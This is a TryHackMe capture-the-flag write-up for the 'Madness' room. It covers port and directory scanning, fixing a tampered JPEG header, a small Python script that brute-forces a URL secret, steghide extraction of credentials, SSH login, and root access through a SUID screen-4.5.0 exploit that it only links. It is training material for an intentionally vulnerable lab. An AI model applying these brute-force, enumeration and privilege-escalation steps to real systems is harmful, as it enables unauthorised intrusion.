THM Writeup – Madness
Will you be consumed by Madness?
Please note this challenge does not require SSH brute forcing.
Use your skills to access the user and root account!
Add IP address to your hosts
file:
echo '10.10.207.121 madness.thm' >> /etc/hosts
Scan the target machine – find open ports first:
nmap -n -Pn -sS -p- --open -min-rate 5000 -vvv madness.thm
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
Get more details about open ports:
nmap -T4 -A -p 22,80 madness.thm
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ac:f9:85:10:52:65:6e:17:f5:1c:34:e7:d8:64:67:b1 (RSA)
| 256 dd:8e:5a:ec:b1:95:cd:dc:4d:01:b3:fe:5f:4e:12:c1 (ECDSA)
|_ 256 e9:ed:e3:eb:58:77:3b:00:5e:3a:f5:24:d8:58:34:8e (EdDSA)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Directory scan the web application:
gobuster dir -u http://madness.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
===============================================================
/index.php (Status: 200)
/server-status (Status: 403)
===============================================================
Enumeration
In the meantime browse to http://madness.thm/
There is Apache default page – the only thing that stands out is the broken (not loaded) image in the first row, so let’s explore it – click on it and click Inspect element:
There is a comment “They will never find me” – so we probably have to find the image to be able to get further…
When we try to browse to the image’s location http://madness.thm/thm.jpg
So download the image using wget
:
root@ip-10-10-74-161:~# wget http://madness.thm/thm.jpg
--2022-02-04 08:24:38-- http://madness.thm/thm.jpg
Resolving madness.thm (madness.thm)... 10.10.207.121
Connecting to madness.thm (madness.thm)|10.10.207.121|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 22210 (22K) [image/jpeg]
Saving to: \u2018thm.jpg\u2019
thm.jpg 100%[===================>] 21.69K --.-KB/s in 0s
2022-02-04 08:24:38 (339 MB/s) - \u2018thm.jpg\u2019 saved [22210/22210]
Explore the image file:
root@ip-10-10-74-161:~# file thm.jpg
thm.jpg: data
root@ip-10-10-74-161:~# file -i thm.jpg
thm.jpg: application/octet-stream; charset=binary
root@ip-10-10-74-161:~# xxd thm.jpg | head
00000000: 8950 4e47 0d0a 1a0a 0000 0001 0100 0001 .PNG............
00000010: 0001 0000 ffdb 0043 0003 0202 0302 0203 .......C........
00000020: 0303 0304 0303 0405 0805 0504 0405 0a07 ................
00000030: 0706 080c 0a0c 0c0b 0a0b 0b0d 0e12 100d ................
00000040: 0e11 0e0b 0b10 1610 1113 1415 1515 0c0f ................
00000050: 1718 1614 1812 1415 14ff db00 4301 0304 ............C...
00000060: 0405 0405 0905 0509 140d 0b0d 1414 1414 ................
00000070: 1414 1414 1414 1414 1414 1414 1414 1414 ................
00000080: 1414 1414 1414 1414 1414 1414 1414 1414 ................
00000090: 1414 1414 1414 1414 1414 1414 1414 ffc0 ................
. . .
It looks like this .jpg
image has its magic header set to .png
– that could be the issue.
Find the magic header for .jpg
file on wikipedia:
Change the magic header with hexedit
:
hexedit thm.jpg
Change this:
89 50 4E 47 0D 0A 1A 0A 00 00 00 01
To this:
FF D8 FF E0 00 10 4A 46 49 46 00 01
Open the thm.jpg
now:
We found a hidden directory, let’s check it:
Hm, let’s check page source:
Let’s do a proof of concept so we know how it works:
http://madness.thm/[REDACTED]/?secret=1
Great, that’s the way to find out the secret.
At this point I decided to write my own python script to bruteforce this number:
#!/usr/bin/env python3
import requests
#URL = "http://madness.thm/[REDACTED]/?secret="
for i in range(100):
url = "http://madness.thm/[REDACTED]/?secret=" + str(i)
r = requests.get(url)
print(str(i) + ":" + str(len(r.content)))
Make the script executable and run it:
chmod +x numbrute.py
./numbrute.py
Now review printed results and find the 1 that differs:
. . .
[REDACTED]:408
[REDACTED]:408
[REDACTED]:445
[REDACTED]:408
[REDACTED]:408
. . .
user.txt
The first number is possible secret and the second number is response content length – the content length is different for a secret we are looking for, so verify it http://madness.thm/[REDACTED]/?secret=[REDACTED]:
Yep, we’ve found the secret, so we found a “pseudo” username.
The hint tells us “There’s something ROTten about this guys name!” so let’s use CyberChef and try ROT13:
I tried different ROT (changed amount), but nothing meaningful came out – we have to have something overseen.
The only other thing we have is the image file, so let’s get back to it – try the string we found by bruteforcing the secret number as password for steganography:
root@ip-10-10-74-161:~# steghide info thm.jpg
"thm.jpg":
format: jpeg
capacity: 1.0 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file "hidden.txt":
size: 101.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
Yep, there is definitely something hidden, extract it using steghide extract -sf thm.jpg
and read it:
root@ip-10-10-74-161:~# cat hidden.txt
Fine you found the password!
Here's a username
[REDACTED]
I didn't say I would make it easy for you!
Ok, now use CyberChef and ROT13 – now that make sense – so we have username.
As far as now, we only have username…
At this point I was stucked and I have to admit I took a look at a write-up to be able to continue – the only thing I looked at was the next step – There exists another stego image, one that you have probably seen:
So I copied image address:
And downloaded the image to the attacking machine:
root@ip-10-10-74-161:~# wget https://i.imgur.com/5iW7kC8.jpg
--2022-02-04 09:56:59-- https://i.imgur.com/5iW7kC8.jpg
Resolving i.imgur.com (i.imgur.com)... 199.232.24.193
Connecting to i.imgur.com (i.imgur.com)|199.232.24.193|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 151181 (148K) [image/jpeg]
Saving to: \u20185iW7kC8.jpg\u2019
5iW7kC8.jpg 100%[===================>] 147.64K --.-KB/s in 0.006s
2022-02-04 09:56:59 (25.9 MB/s) - \u20185iW7kC8.jpg\u2019 saved [151181/151181]
Now check the image if there is something hidden:
root@ip-10-10-74-161:~# steghide info 5iW7kC8.jpg
"5iW7kC8.jpg":
format: jpeg
capacity: 6.6 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file "password.txt":
size: 83.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
Yep, there is password.txt
file hidden, so extract it and read it:
root@ip-10-10-74-161:~# steghide extract -sf 5iW7kC8.jpg
Enter passphrase:
wrote extracted data to "password.txt".
root@ip-10-10-74-161:~# cat password.txt
I didn't think you'd find me! Congratulations!
Here take my password
[REDACTED]
Ok, we probably finally found password for the user we found earlier, try to connect via SSH:
root@ip-10-10-74-161:~# ssh [REDACTED]@madness.thm
[REDACTED]@madness.thm's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-170-generic x86_64)
Last login: Sun Jan 5 18:51:33 2020 from 192.168.244.128
[REDACTED]@ubuntu:~$
We are loggin in, now find and read user flag:
[REDACTED]@ubuntu:~$ ls -la
total 20
drwxr-xr-x 3 [REDACTED] [REDACTED] 4096 Feb 4 02:02 .
drwxr-xr-x 3 root root 4096 Jan 4 2020 ..
-rw------- 1 [REDACTED] [REDACTED] 0 Jan 5 2020 .bash_history
-rw-r--r-- 1 [REDACTED] [REDACTED] 3771 Jan 4 2020 .bashrc
drwx------ 2 [REDACTED] [REDACTED] 4096 Feb 4 02:02 .cache
-rw-r--r-- 1 root root 38 Jan 6 2020 user.txt
[REDACTED]@ubuntu:~$ cat user.txt
THM{[REDACTED]}
root.txt
Now try basic privilege escalation vectors:
What our user can do with sudo
:
[REDACTED]@ubuntu:~$ sudo -l
[sudo] password for [REDACTED]:
Sorry, user [REDACTED] may not run sudo on ubuntu.
Check crontab – scheduled jobs:
[REDACTED]@ubuntu:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
Check capabilities:
[REDACTED]@ubuntu:~$ getcap -r / 2>/dev/null
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
/usr/bin/mtr = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
Look for executables with SUID bit set:
[REDACTED]@ubuntu:~$ find / -type f -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/bin/vmware-user-suid-wrapper
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/sudo
/bin/fusermount
/bin/su
/bin/ping6
/bin/screen-4.5.0
/bin/screen-4.5.0.old
/bin/mount
/bin/ping
/bin/umount
Finally we found something interesting – binary screen-4.5.0
that has SUID bit set.
I googled screen-4.5.0 suid bit set
:
and found an exploit at https://www.exploit-db.com/exploits/41154
Copy the exploit to a file, make it executable and execute it:
[REDACTED]@ubuntu:~$ nano screenroot.sh
[REDACTED]@ubuntu:~$ chmod +x screenroot.sh
[REDACTED]@ubuntu:~$ ./screenroot.sh
# id
uid=0(root) gid=0(root) groups=0(root),1000([REDACTED])
Now we are root user, let’s read the root flag:
# cat /root/root.txt
THM{[REDACTED]}
Do you like this writeup? Check out other THM Writeups.